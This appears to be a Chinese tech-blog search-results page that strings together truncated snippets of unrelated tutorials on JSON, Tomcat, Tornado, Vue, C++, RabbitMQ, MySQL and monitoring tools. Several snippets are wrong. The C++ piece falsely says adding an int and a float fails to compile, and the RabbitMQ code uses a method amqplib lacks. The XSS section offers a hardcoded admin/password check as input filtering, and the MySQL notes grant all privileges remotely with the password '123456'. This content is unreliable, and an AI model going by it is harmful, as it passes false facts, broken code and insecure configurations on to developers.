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[JavaScript变量初始化实践 ]的搜索结果
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JSON
...发世界中,JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,凭借其简洁的语法、易于人阅读和编写以及机器解析的特点,在网站数据交互、API接口设计等方面扮演着举足轻重的角色。这篇文会手把手地带你潜入JSON如何充当网站数据搬运工的内部世界,并且,咱还会通过一些超实用的代码实例,让你亲身体验一把这个过程有多酷炫! 1. 初识JSON 一种易读易写的格式 首先,让我们回顾一下JSON的基本结构。JSON这家伙,可厉害了,它用的是一种跟任何编程语言都“不粘锅”的文本格式,能够超级给力地把那些乱七八糟、复杂无比的数据结构,比如数组、对象什么的,整得清清楚楚、明明白白。例如: json { "users": [ { "id": 1, "name": "Alice", "email": "alice@example.com" }, { "id": 2, "name": "Bob", "email": "bob@example.com" } ] } 这段JSON数据清晰地展现了用户列表信息,每个用户都有自己的ID、姓名和邮箱地址。这正是JSON让人着迷的地方,它能用咱们人类看得懂的方式去表达数据,而且机器也能轻松解析理解,真可谓“人机对话”的小能手。 2. JSON与网站数据导入 在实际的网站开发场景中,我们经常需要从外部源导入数据,如API接口、文件或数据库。JSON格式因其通用性,成为理想的数据传输媒介。以下是一个典型的网站导入JSON数据的例子: javascript // 假设我们从某个API获取到了上述JSON数据 fetch('https://example.com/api/users') .then(response => response.json()) .then(data => { // 解析并处理JSON数据 const users = data.users; users.forEach(user => { console.log(User ID: ${user.id}, Name: ${user.name}); // 这里可以将用户数据插入到网站DOM或其他存储中 }); }) .catch(error => console.error('Error fetching data:', error)); 在这段代码中,我们通过fetch函数请求一个返回JSON数据的API,然后利用.json()方法将其转化为JavaScript对象,进而进行数据处理和展示。这便是JSON在网站数据导入中的核心应用。 3. JSON的应用深度探讨 - 数据交互:JSON不仅适用于前后端数据交换,也常用于客户端和服务端之间、甚至不同系统之间的数据传递。它减少了数据转换的成本,简化了开发流程。 - 兼容性:由于JSON是基于JavaScript的对象字面量,因此在浏览器环境中可以直接转化为JavaScript对象,无需额外的库或工具支持。 - 灵活性:JSON结构灵活多变,可以表示复杂的嵌套数据结构,适应各种业务场景的需求。 - 性能优化:相对于XML等其他数据格式,JSON的体积更小,解析速度更快,有利于提升网站性能。 4. 结语 拥抱JSON,让数据流动更自由 随着Web技术的发展,JSON已经深入到我们日常开发的方方面面。它如同一条无形的信息高速公路,承载着网站间、系统间的数据流通。作为开发者,咱们得把JSON的使用窍门玩得贼溜,可别浪费了它的那些个优点。把它用得风生水起,让它在咱们的项目里发光发热,发挥出最大的价值,这才是正经事!当我们面对网站数据导入这样的需求时,不妨试着借助JSON的力量,你会发现,数据的搬运原来可以如此轻松自如,充满了无限可能!
2023-10-11 22:09:42
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林中小径
Tomcat
...里,-Xms表示初始堆大小,-Xmx表示最大堆大小。根据实际情况调整这两个值可以有效缓解内存不足的问题。 3. 调优技巧 如何让Tomcat飞起来? 找到问题之后,接下来就是对症下药了。下面是一些实用的调优建议: - 调整JVM参数:除了前面提到的内存设置外,还可以考虑启用压缩引用(-XX:+UseCompressedOops)等JVM参数来提高性能。 - 优化线程池配置:合理设置线程池大小可以显著提高并发处理能力。例如,在server.xml文件中的元素下设置maxThreads="200"。 - 使用连接池:确保数据库连接池配置正确,比如使用HikariCP这样的高性能连接池。 代码示例: 在server.xml中配置线程池: xml connectionTimeout="20000" redirectPort="8443" maxThreads="200"/> 4. 实践案例分享 从慢到快的转变 在我自己的项目中,我发现网站响应时间过长的主要原因是数据库查询效率低。加了缓存之后,再加上SQL查询也优化了一下,网站的反应速度快了不少,用起来顺手多了!另外,我调了一下JVM参数和线程池配置,这样系统在高峰期就能扛得住更大的流量啦。 思考时刻:优化工作往往不是一蹴而就的,需要不断测试、调整、再测试。在这个过程中,耐心和细心是非常重要的品质。 结语 好了,今天的分享就到这里。希望这篇文章能给你点灵感,让你知道怎么通过调整Tomcat的设置来让网站跑得更快些。记住,技术永远是在不断进步的,保持好奇心和学习的态度是成长的关键。如果你有任何问题或见解,欢迎随时留言交流! 最后,祝大家都能拥有一个响应迅速、用户体验优秀的网站! --- 希望这篇技术文章能够帮助到你,如果有任何具体问题或者需要进一步的信息,请随时告诉我!
2024-10-20 16:27:48
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雪域高原
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...Redux 是一个 JavaScript 状态容器,提供可预测化的状态管理。在 dva.js 中,Redux 被用作核心的数据流方案,帮助开发者集中管理和维护应用的所有组件状态。通过单一不可变数据源(store),Redux 提供了明确的 actions、reducers 来处理状态变化,并允许时间旅行式的调试体验,使得复杂应用的状态控制变得清晰、易于理解和调试。 Redux-Saga , Redux-Saga 是 Redux 生态系统中的一款中间件,用于处理异步逻辑。在 dva.js 框架中,Redux-Saga 与 Redux 结合使用,让开发者能够以更直观的 saga 流程来编写异步操作。Saga 监听指定的 Redux actions,并触发相应的副作用(如网络请求或调用 API),然后根据返回结果发起新的 actions 更新 store,从而实现对异步流程的集中控制和管理。 Hot Module Replacement (HMR) , Hot Module Replacement 是一种 Webpack 等模块打包工具提供的特性,它允许在开发过程中热更新修改过的模块,而无需刷新整个页面。dva.js 通过 babel-plugin-dva-hmr 实现了 components、routes 和 models 的 HMR 功能,这意味着当开发者修改代码后,浏览器会自动替换并重新加载变动的部分,极大地提高了开发效率和实时预览体验。 插件机制 , 插件机制是一种软件设计模式,允许通过扩展添加新功能或改变现有行为。在 dva.js 中,插件机制体现在可以通过安装额外的插件(如 dva-loading)来增强框架的功能,无需手动重复编写特定业务逻辑。而在 umijs 中,完整的插件系统涵盖了从源码到生产的每个生命周期,开发者可以根据需求定制和安装各种插件,比如自动处理 loading 状态、支持 PWA、路由级按需加载等。 路由级按需加载 , 路由级按需加载是现代前端框架的一项性能优化技术,它允许应用程序仅在用户访问特定路由时动态加载对应的组件和资源。umijs 支持这种高级路由功能,意味着只有当用户导航到特定页面时,才会加载该页面所需的代码,有效减少了首屏加载时间和总体资源体积,提升了用户体验和应用性能。
2023-11-06 14:19:32
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Tornado
...TML、CSS 和 JavaScript 文件。Tornado 可以很容易地实现这一点。 示例代码: python import tornado.ioloop import tornado.web class StaticFileHandler(tornado.web.StaticFileHandler): def set_extra_headers(self, path): 设置 Cache-Control 头,以便浏览器缓存静态文件 self.set_header('Cache-Control', 'max-age=3600') def make_app(): return tornado.web.Application([ (r"/static/(.)", StaticFileHandler, {"path": "./static"}), (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 在这个例子中,我们添加了一个静态文件处理器,它会从 ./static 目录中提供静态文件。这样一来,你的 React 应用就能通过 /static/ 这个路径找到需要的静态资源了。 3.2 实时数据传输 前端框架通常需要实时更新数据。Tornado 提供了 WebSocket 支持,可以轻松实现这一功能。 示例代码: python import tornado.ioloop import tornado.web import tornado.websocket class WebSocketHandler(tornado.websocket.WebSocketHandler): def open(self): print("WebSocket opened") def on_message(self, message): self.write_message(u"You said: " + message) def on_close(self): print("WebSocket closed") def make_app(): return tornado.web.Application([ (r"/ws", WebSocketHandler), (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 这段代码创建了一个 WebSocket 处理器,它可以接收来自客户端的消息并将其回传给客户端。你可以在 React 中使用 WebSocket API 来连接这个 WebSocket 服务器并实现双向通信。 4. 集成挑战与解决方案 在实际项目中,集成 Tornado 和前端框架可能会遇到一些挑战。比如,如何处理跨域请求、如何管理复杂的路由系统等。下面是一些常见的问题及解决方案。 4.1 跨域请求 如果你的前端应用和后端服务不在同一个域名下,你可能会遇到跨域请求的问题。Tornado 提供了一个简单的装饰器来解决这个问题。 示例代码: python from tornado import web class MainHandler(tornado.web.RequestHandler): @web.asynchronous @web.gen.coroutine def get(self): self.set_header("Access-Control-Allow-Origin", "") self.set_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS") self.set_header("Access-Control-Allow-Headers", "Content-Type") self.write("Hello, world!") 在这个例子中,我们设置了允许所有来源的跨域请求,并允许 GET 和 POST 方法。 4.2 路由管理 前端框架通常有自己的路由系统。为了更好地管理路由,我们可以在Tornado里用URLSpec类来设置一些更复杂的规则,这样路由管理起来就轻松多了。 示例代码: python import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello, world!") class UserHandler(tornado.web.RequestHandler): def get(self, user_id): self.write(f"User ID: {user_id}") def make_app(): return tornado.web.Application([ (r"/", MainHandler), (r"/users/(\d+)", UserHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 在这个例子中,我们定义了两个路由:一个是根路径 /,另一个是 /users/。这样,我们就可以更灵活地管理 URL 路由了。 5. 结语 通过以上的讨论,我们可以看到,虽然 Tornado 和前端框架的集成有一些挑战,但通过一些技巧和最佳实践,我们可以轻松地解决这些问题。希望这篇文章能帮助你在开发过程中少走弯路,享受编程的乐趣! 最后,我想说,编程不仅仅是解决问题的过程,更是一种创造性的活动。每一次挑战都是一次成长的机会。希望你能在这个过程中找到乐趣,不断学习和进步!
2025-01-01 16:19:35
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素颜如水
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...数,将组件需要使用的变量定义在此函数的返回值对象中,定义的变量将会获得一个“特异功能” ---- 响应式 <template><div><!-- 在这里使用插值表达式将name渲染到页面 -->{ { name } }</div></template><script>export default {// data选项data(){return{// name是响应式的name:"Jay",} },}</script> 上面例子中的name就是一个响应式数据,在值发生改变时,视图(页面)上的name也会发生变化,那我们便可以通过操作name的变化去使视图发生变化,而不用进行繁琐的DOM操作,这也体现着Vue框架的 数据驱动 这一核心思想。 为什么数据要定义在data函数的返回值中,而不是定义在一个对象中? 将数据定义在函数返回值中,可以确保每产生一个组件实例,都会调用一次函数,并返回一个新的对象,开辟一块新的空间。 如果将数据定义在对象中,可能会出现类似于浅拷贝中出现的问题,即多个组件实例指向同一块空间,一个组件实例修改数据,则全部数据发生变化。 2. methods选项 此选项是一个对象,其中存放着该组件要使用的函数,比如事件的回调函数… <template><div><!-- 添加点击事件,事件回调函数在methods中定义 --><button @click="add">点击加一</button> <p>{ { count } }</p></div></template><script>export default {data(){return{count:0,} },// 在methods中定义函数(方法)methods:{add(){// 在函数中要使用data中的变量,需加thisthis.count++},} }</script> 通过点击事件改变count的值,从而使页面上的值随之变化,再次体现 数据驱动 的核心思想 3. computed 计算属性 计算属性,对象形式,顾名思义,在计算属性中保存着一系列需要经过运算得出的属性 <template><p>路程:{ { distance } } km</p><p>速度:{ { speed } } km/h</p><!-- 使用计算属性,与变量的使用相同 --><p>花费的时间:{ { time } } h</p></template><script>export default {data() {return {distance: 1000,speed: 50,} },computed: {// 定义计算属性,类似于函数的定义,返回值就是该计算属性的值time() {return this.distance / this.speed} }}</script> 计算属性内部所依赖的数据发生变化时, 计算属性本身就会自动重新计算返回一个新的计算值并缓存起来。 计算属性内部所依赖的数据没有发生变化, 计算属性会直接返回上一次缓存的值。 因此上面例子中的distance(路程)与speed(速度)无论如何变化,time都会计算出正确的值。 4. directives 选项, 定义自定义指令( 局部指令 ) 在上节,我们学习了一些Vue内置指令,功能十分强大,那么我们可以自己定义一些指令吗? 当然可以!我们可以在directives选项中创建自定义指令。 <template><!-- 使用自定义指令 --><div v-myshow="1"></div><div v-myshow="0"></div></template><script>export default {// 在directives中定义一个自定义指令,来模仿v-show的功能directives: {//el:添加自定义指令的元素;binding:指令携带的参数myshow(el, binding) {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} }} }</script><style scoped>div {width: 100px;height: 100px;background-color: red;margin: 10px;}</style> 像以上这种,在组件中定义的指令是局部指令,只能在本组件中使用,全局指令需要在main.js文件中定义,全局指令在任何.vue文件中都可使用。 注意: 当局部指令和全局指令冲突时, 局部指令优先生效. var app = createApp(App)//定义全局指令 app.directive("myshow", (el, binding) => {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} })// 全局指令可在任何组件使用 5. components组件选项(注册局部组件) 在一个组件中我们可能会使用到其他组件,在将组件引入后,需要在components中进行注册,才能使用。 <template><!-- 使用组件 --><Test /></template><script>// 引入组件import Test from './Test.vue'export default {// 注册组件components: {Test},}</script> 局部组件只能在当前组件内部使用,需要在任何组件中使用,需要在main.js文件中注册为全局组件 // 引入组件import Test from './Test.vue'// 注册全局组件,可在所有.vue文件中使用app.component('Test',Test); 6. 其他 filters 选项, 定义过滤器,vue2中使用,Vue3中已经弃用 mounted 等生命周期函数选项,我们在下节进行详细讲解… 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-25 22:28:14
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Tomcat
...我们可以指定是否允许JavaScript访问这个cookie。如果我们将此选项设为true,则JavaScript将不能读取这个cookie,从而避免了XSS攻击。例如: css Cookie = "name=value; HttpOnly" 另一种方法是在服务器端过滤所有的输入数据。这种方法可以确保用户输入的数据不会被恶意脚本篡改。比如,假如我们手头有个登录页面,那我们就能瞅瞅用户输入的用户名和密码对不对劲儿。要是发现不太对,咱就直接把这次请求给拒了,同时还得告诉他们哪里出了岔子,返回一个错误消息提醒一下。例如: php-template if (username != "admin" || password != "password") { return false; } 最后,我们还需要定期更新Tomcat和其他软件的安全补丁,以及使用最新的安全技术和工具,以提高我们的防御能力。另外,咱们还可以用上一些防火墙和入侵检测系统,就像给咱的网络装上电子眼和防护盾一样,实时留意着流量动态,一旦发现有啥不对劲的行为,就能立马出手拦截,确保安全无虞。 当然,除了上述方法外,还有很多其他的方法可以防止跨站脚本攻击(XSS),比如使用验证码、限制用户提交的内容类型等等。这些都是值得我们深入研究和实践的技术。 总的来说,防止访问网站时出现的安全性问题,如跨站脚本攻击(XSS)或SQL注入,是一项非常重要的任务。作为开发小哥/小姐姐,咱们得时刻瞪大眼睛,绷紧神经,不断提升咱的安全防护意识和技术能力。这样一来,才能保证我们的网站能够安安稳稳、健健康康地运行,不给任何安全隐患留空子钻。只有这样,我们才能赢得用户的信任和支持,实现我们的业务目标。"
2023-08-10 14:14:15
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初心未变-t
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...js , 一种流行的JavaScript前端框架,采用组件化开发方式,使得开发者能够构建可复用、可维护的用户界面。它基于MVVM(Model-View-ViewModel)模式,允许数据双向绑定,使得视图自动更新以反映数据的变化,大大提高了开发效率。 Better Scroll , 一款轻量级的滚动优化库,用于提供平滑、流畅的滚动体验,尤其是在移动设备上。它封装了浏览器的滚动API,提供了诸如防抖、渐进增强等功能,帮助开发者处理复杂的滚动场景,减少资源消耗,提升用户体验。 Intersection Observer API , HTML5的一个新特性,用于观察两个DOM节点是否发生了交集(即一个节点是否在另一个节点的可视区域内)。在滚动优化中,这个API可以用来检测元素是否进入或离开视口,从而触发相应的处理,如动态加载内容、调整布局等,实现滚动性能优化。 Model-View-ViewModel (MVVM) , 一种软件设计模式,用于描述应用程序模型(数据)与用户界面之间的关系。在Vue.js中,MVVM将数据(model)与视图(view)解耦,通过ViewModel作为桥梁,当数据变化时,视图会自动更新,反之亦然,提高了开发的简洁性和可维护性。 动态渲染 , 在前端开发中,指根据数据的变化实时更新页面内容的过程。在Vue.js中,通过模板语法和数据绑定,当数据(如 item.name )发生变化时,对应的视图部分会被重新渲染,显示最新的数据值,这种机制被称为动态渲染。
2024-05-06 12:38:02
624
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...版,同时遵循最佳安全实践,如避免直接在include或require语句中使用不受信任的变量指定文件路径。 深入解读方面,著名安全专家在其博客上分析了PHP文件包含漏洞的历史演变与防范策略,强调了防御此类攻击的关键在于实施严格的输入验证、最小权限原则以及合理的错误处理机制。他引用了多个历史案例,展示了攻击者如何通过精心构造的URL绕过安全防护,实现远程代码执行。 综上所述,对于PHP文件包含漏洞这一安全隐患,无论是及时关注最新的安全动态,还是深入学习和理解其原理及防范措施,都是当前广大开发者和网络安全从业者需要持续关注和努力的方向。
2024-01-06 09:10:40
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SpringBoot
...t进行单元测试:深入实践与探索 在现代Java开发领域,SpringBoot已经成为构建高效、简洁应用程序的事实标准。JUnit,这可是Java世界里无人不知、无人不晓的最火爆的单元测试工具,它跟SpringBoot之间那叫一个亲密无间、浑然一体。这俩搭档起来,简直就是我们开发过程中的超级守护神和贴心小助手,让我们干活儿既放心又有速度。本文将通过丰富的代码示例,带你一起探索如何在SpringBoot项目中充分利用JUnit进行单元测试。 1. 引言 首先,让我们理解一下为何单元测试如此重要。在我们实际搞开发的时候,单元测试就相当于程序员的好哥们儿“安全网”。每当咱们对代码动手脚时,它能及时帮咱确认之前的那些功能是不是还在正常运转,这样一来啊,就能有效避免老功能突然撂挑子的情况,大大提升咱们软件的品质和稳定性。结合SpringBoot与JUnit,我们可以在模拟环境中对服务层、数据访问层等组件进行独立且精准的测试。 2. SpringBoot项目中的JUnit配置 在SpringBoot项目中使用JUnit非常简单,只需要在pom.xml文件中添加相应的依赖即可: xml org.springframework.boot spring-boot-starter-test test 这段配置引入了Spring Boot Test Starter,其中包括了JUnit以及Mockito等一系列测试相关的库。 3. 编写SpringBoot应用的单元测试 假设我们有一个简单的SpringBoot服务类UserService,下面是如何为其编写单元测试的实例: java import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest public class UserServiceTest { @Autowired private UserService userService; // 我们要测试的服务类 @Test public void testGetUserById() { // 假设我们有一个获取用户信息的方法 User user = userService.getUserById(1); // 断言结果符合预期 assertNotNull(user); assertEquals("预期的用户名", user.getUsername()); } // 更多测试方法... } 在这个例子中,@SpringBootTest注解使得Spring Boot应用上下文被加载,从而我们可以注入需要测试的服务对象。@Test注解则标记了这是一个单元测试方法。 4. 使用MockMvc进行Web接口测试 当我们要测试Controller层的时候,可以借助SpringBootTest提供的MockMvc工具进行模拟请求测试: java import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.web.servlet.MockMvc; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; @SpringBootTest @AutoConfigureMockMvc public class UserControllerTest { @Autowired private MockMvc mockMvc; @Test public void testGetUser() throws Exception { mockMvc.perform(get("/users/1")) .andExpect(status().isOk()); // 可以进一步解析响应内容并进行断言 } } 在这段代码中,@AutoConfigureMockMvc注解会自动配置一个MockMvc对象,我们可以用它来模拟HTTP请求,并检查返回的状态码或响应体。 5. 结语 通过以上示例,我们可以看到SpringBoot与JUnit的集成使单元测试变得更加直观和便捷。这东西可不简单,它不仅能帮我们把每一行代码都捯饬得准确无误,更是在持续集成和持续部署(CI/CD)这一套流程里,扮演着不可或缺的关键角色。所以,亲,听我说,把单元测试搂得紧紧的,特别是在像SpringBoot这样新潮的开发框架下,绝对是每个程序员提升代码质量和效率的必修课。没有它,你就像是在编程大道上少了一双好跑鞋,知道不?在实际动手操作中不断摸索和探究,你会发现单元测试就像一颗隐藏的宝石,充满了让人着迷的魅力。而且,你会更深刻地感受到,它在提升开发过程中的快乐指数、让你编程生活更加美滋滋这方面,可是起着大作用呢!
2023-11-11 08:06:51
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冬日暖阳
c++
...在你尝试对不同类型的变量进行算术运算或者比较时。嘿,兄弟!这篇好货绝对能让你彻底搞懂这个概念,我们不光是讲大道理,还拿实际例子和代码来操练,就像你跟老朋友聊天一样,一步步从懵逼状态升级到驾轻就熟,轻松搞定! 1. 理解基础 类型不匹配是什么? 在C++中,类型不匹配指的是在尝试执行一个操作(如加法、减法、比较等)时,参与操作的变量没有相同的类型。这会导致编译器报错,指出类型不一致,因为你不能直接将不同类型的值相加、相减或比较它们的大小。 2. 实例一 简单的类型错误 让我们从一个简单的例子开始: cpp include int main() { int a = 5; float b = 3.14; std::cout << "a + b = " << a + b << std::endl; // 这里会出错 return 0; } 当你运行这段代码时,编译器会报告类型不匹配的错误,因为int类型和float类型不能直接相加。 3. 解决方案 类型转换 为了解决类型不匹配的问题,你可以使用C++提供的类型转换功能。最常见的是static_cast, dynamic_cast, reinterpret_cast, 和 const_cast。 示例二:使用类型转换 cpp include int main() { int a = 5; float b = 3.14; float result = static_cast(a) + b; // 首先将整型转换为浮点型 std::cout << "a + b = " << result << std::endl; return 0; } 通过static_cast(a),我们将整型a转换为浮点型,然后与b相加,避免了类型不匹配的错误。 4. 深入探讨 类型安全与兼容性 类型转换不仅解决了问题,还涉及到了程序的类型安全性和兼容性。哎呀,兄弟,用对了类型转换,你的代码就像变魔术一样灵活,能适应各种场合,可是一不小心用多了,就像在厨房里放太多调料,味道可能就怪怪的,还可能影响速度,甚至有时候你都发现不了问题出在哪。所以啊,用类型转换得有个度,不能太贪心,适量就好! 5. 实例三 类型转换与函数参数 考虑这样一个场景,你需要将不同的类型作为函数的参数传递,而这些类型之间可能存在转换的需求: cpp include template auto add(T a, U b) -> decltype(a + b) { return a + b; } int main() { int a = 5; float b = 3.14; auto result = add(a, b); std::cout << "a + b = " << result << std::endl; return 0; } 这里我们定义了一个模板函数add,它可以接受任意类型的参数,并且通过decltype确保了返回类型的一致性,即使输入类型不同。 6. 结论 从困惑到精通 通过以上的示例和讨论,我们可以看到类型不匹配在C++编程中的常见性和解决方法。哎呀,这事儿关键啊,就是得搞懂不同类型的转换规则,还有怎么在编程的时候机智地用上类型转换,这样子才能避免踩坑!就像是在玩变形金刚的游戏,知道怎么变形成不同的形态,才能在战斗中游刃有余,对吧?所以,这事儿可得仔细琢磨,别让小错误给你整得满头大汗的。随着实践的增多,你会逐渐习惯于处理这类问题,从而在编程过程中更加游刃有余。 编程是一门艺术,也是一门需要不断学习和实践的技能。哎呀,遇到C++这种语言的类型不匹配问题了?别急,咱得有点好奇心,敢想敢干才行!就像在探险一样,每次遇到难题都是新发现的机会。别怕动手尝试,多实践几次,你会发现,驾驭这门强大的语言其实挺有趣的。就像解开一个又一个谜题,每一次成功都让你成就感满满。别忘了,创作精彩代码,就跟做艺术品一样,需要点想象力和创意。加油,你肯定能做出让人眼前一亮的作品!
2024-09-14 16:07:23
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笑傲江湖
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...件,其发展动态与创新实践值得持续关注。未来,随着云原生技术的快速发展,准入控制器将承载更多的功能与责任,成为驱动Kubernetes集群迈向更高稳定性和安全性的基石。
2023-12-25 10:44:03
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RabbitMQ
...,如下所示: javascript const amqp = require('amqplib'); async function publishHttpMessage(url) { const connection = await amqp.connect('amqp://localhost'); const channel = await connection.createChannel(); // 创建一个HTTP Exchange await channel.exchangeDeclare( 'http_requests', // Exchange name 'topic', // Exchange type (HTTP requests use topic) { durable: false } // Durable exchanges are not needed for HTTP ); // 发送HTTP请求消息 const message = { routingKey: 'http.request.', // Match all HTTP requests body: JSON.stringify({ url }), }; await channel.publish('http_requests', message.routingKey, Buffer.from(JSON.stringify(message))); console.log(Published HTTP request to ${url}); await channel.close(); await connection.close(); } // 调用函数并发送请求 publishHttpMessage('https://example.com/api/v1'); 这种方式允许API Gateway接收来自客户端的HTTP请求,然后将这些请求转化为RabbitMQ的消息,进一步转发给后端处理服务。 4. gRPC集成 gRPC-RabbitMQ Bridge 对于gRPC,我们可能需要一个中间件桥接器,如grpc-gateway和protobuf-rpc。例如,gRPC客户端可以通过gRPC Gateway将请求转换为HTTP请求,然后由RabbitMQ处理。这里有一个简化版的伪代码示例: python from google.api import service_pb2_grpc from grpc_gateway import services_pb2, gateway class RabbitMQGrpcHandler(service_pb2_grpc.MyServiceServicer): def UnaryCall(self, request, context): Convert gRPC request to RabbitMQ message rabbit_message = services_pb2.MyRequestToProcess(request.to_dict()) Publish the message to RabbitMQ with channel: channel.basic_publish( exchange='gRPC_Requests', routing_key=rabbit_message.routing_key, body=json.dumps(rabbit_message), properties=pika.BasicProperties(content_type='application/json') ) Return a response or acknowledge the call return services_pb2.MyResponse(status="Accepted") Start the gRPC server with the RabbitMQ handler server = grpc.server(futures.ThreadPoolExecutor(max_workers=10)) service_pb2_grpc.add_MyServiceServicer_to_server(RabbitMQGrpcHandler(), server) server.add_insecure_port('[::]:50051') server.start() 这样,gRPC客户端发出的请求经过gRPC Gateway的适配,最终被RabbitMQ处理,实现异步解耦。 5. 特点和应用场景 - 灵活性:HTTP和gRPC集成使得RabbitMQ能够适应各种服务间的通信需求,无论是API网关、微服务架构还是跨语言通信。 - 解耦:生产者和消费者不需要知道对方的存在,提高了系统的可维护性和扩展性。 - 扩展性:RabbitMQ的集群模式允许在高并发场景下轻松扩展。 - 错误处理:消息持久化和重试机制有助于处理暂时性的网络问题。 - 安全性:通过SSL/TLS可以确保消息传输的安全性。 6. 结论 RabbitMQ的强大之处在于它能跨越多种协议,提供了一种通用的消息传递平台。你知道吗,咱们可以像变魔术那样,把HTTP和gRPC这两个家伙灵活搭配起来,这样就能构建出一个超级灵动、随时能扩展的分布式系统,就跟你搭积木一样,想怎么拼就怎么拼,特别给力!当然啦,实际情况是会根据咱们项目的需求和手头现有的技术工具箱灵活调整具体实现方式,不过无论咋整,RabbitMQ都像是个超级靠谱的邮差,让各个服务之间的交流变得贼顺畅。
2024-02-23 11:44:00
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笑傲江湖-t
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...到文件尾端,设置环境变量source /etc/profile // 重新执行刚修改的文件,使之立即生效env // 显示系统的环境变量mysqld --defaults-file=/etc/my.cnf --initializechown -R mysql:mysql /var/lib/mysql/datall /var/lib/mysql/dataservice mysql startservice mysql status // 查看服务状态ps -ef | grep mysqlnetstat -anptnetstat -anpt | grep mysqlnetstat -anpt | grep 3306 显示有关mysql的进程mysql -u root -p -S /var/lib/mysql/run/mysql.sock // 输入密码进入到了mysqlalter user 'root'@'localhost' identified by "123456";flush privileges;create user 'user'@'%' identified by '123456';grant all privileges on . to 'user'@'%' with grant option;flush privileges;select user,host from mysql.user; service mysql stop 停止服务\q回到命令行vi /etc/ld.so.confldconfig 搜索出可共享的动态链接库(格式如lib.so),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为/etc/ld.so.cacheln -s /var/ldconfiglib/mysql/run/mysql.sock /tmp/mysql.sock 建立软连接 service 和 chkconfig 都可以用 systemctl 来代替 遇到 Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2) service mysql stop // 先停用ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock // 建立软连接vi /etc/my.cnf // 修改里面的 socket 路径service mysql start // 重启 Linux chmod 命令 Linux文件的所有者、群组和其他人 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_53318060/article/details/121664128。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-24 19:00:46
118
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Nginx
...用HTML、CSS、JavaScript等技术构建用户界面,并通过HTTP/HTTPS协议向后端发起异步请求获取数据;而后端专注于提供API接口供前端调用,处理数据并返回结果。在文章中,当部署前后端分离项目时,需要合理配置Nginx以正确转发和处理前端页面和后端API请求。 Docker容器化技术 , Docker是一种开源的应用容器引擎,通过容器化技术为开发者和系统管理员提供了一种标准化的打包、分发和运行应用的方式。在文中,Docker用于将前后端应用分别封装成独立的容器,每个容器包含了运行应用所需的所有依赖环境,使得应用可以在任何安装了Docker的主机上快速部署且运行效果一致。 Nginx反向代理服务器 , Nginx是一个高性能的HTTP和反向代理服务器,同时支持TCP/UDP代理、邮件代理、负载均衡等功能。在部署前后端分离项目的情境中,Nginx作为反向代理服务器,接收来自客户端的HTTP请求,并根据配置规则将请求转发至相应的服务。例如,它可以将静态资源请求直接指向存放前端文件的本地目录,将/api开头的请求转发给后端Docker容器中的服务处理,从而实现前后端之间的通信和信息传递。
2023-07-29 10:16:00
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时光倒流_
RabbitMQ
...的丢失率等。 javascript 访问RabbitMQ的管理界面 http://localhost:15672/ 3. 使用New Relic监控RabbitMQ New Relic是一款功能强大的云监控工具,可以用来监控各种应用程序和服务的性能。我们可以借助New Relic这个小帮手,实时监控RabbitMQ的各种关键表现,比如消息被“吃掉”的速度有多快、消息被“扔”出去的速度如何,甚至还能瞅瞅消息有没有迷路的(也就是丢失率)。这样一来,咱们就能像看比赛直播那样,对这些指标进行即时跟进啦。 ruby 注册New Relic账户并安装New Relic agent sudo curl -L https://download.newrelic.com/binaries/newrelic_agent/linux/x64_64/newrelic RPM | sudo tar xzv sudo mv newrelic RPM/usr/lib/ 配置New Relic的配置文件 cat << EOF > /etc/newrelic/nrsysmond.cfg license_key = YOUR_LICENSE_KEY server_url = https://insights-collector.newrelic.com application_name = rabbitmq daemon_mode = true process_monitor.enabled = true process_monitor.log_process_counts = true EOF 启动New Relic agent sudo systemctl start newrelic-sysmond.service 四、调试网络波动对RabbitMQ性能的影响 除了监控外,我们还需要对网络波动对RabbitMQ性能的影响进行深入的调试。以下是几种常见的调试方法: 1. 使用Wireshark抓取网络流量 Wireshark是一个开源的网络分析工具,可以用来捕获和分析网络中的各种流量。我们能够用Wireshark这个工具,像侦探一样监听网络中的各种消息发送和接收活动,这样一来,就能顺藤摸瓜找出导致网络波动的幕后“元凶”啦。 csharp 下载和安装Wireshark sudo apt-get update sudo apt-get install wireshark 打开Wireshark并开始抓包 wireshark & 2. 使用Docker搭建测试环境 Docker是一种轻量级的容器化平台,可以用来快速构建和部署各种应用程序和服务。我们可以动手用Docker搭建一个模拟网络波动的环境,就像搭积木一样构建出一个专门用来“折腾”RabbitMQ性能的小天地,在这个环境中好好地对RabbitMQ进行一番“体检”。 bash 安装Docker sudo apt-get update sudo apt-get install docker.io 创建一个包含网络波动模拟器的Docker镜像 docker build -t network-flakiness .
2023-10-10 09:49:37
99
青春印记-t
Mahout
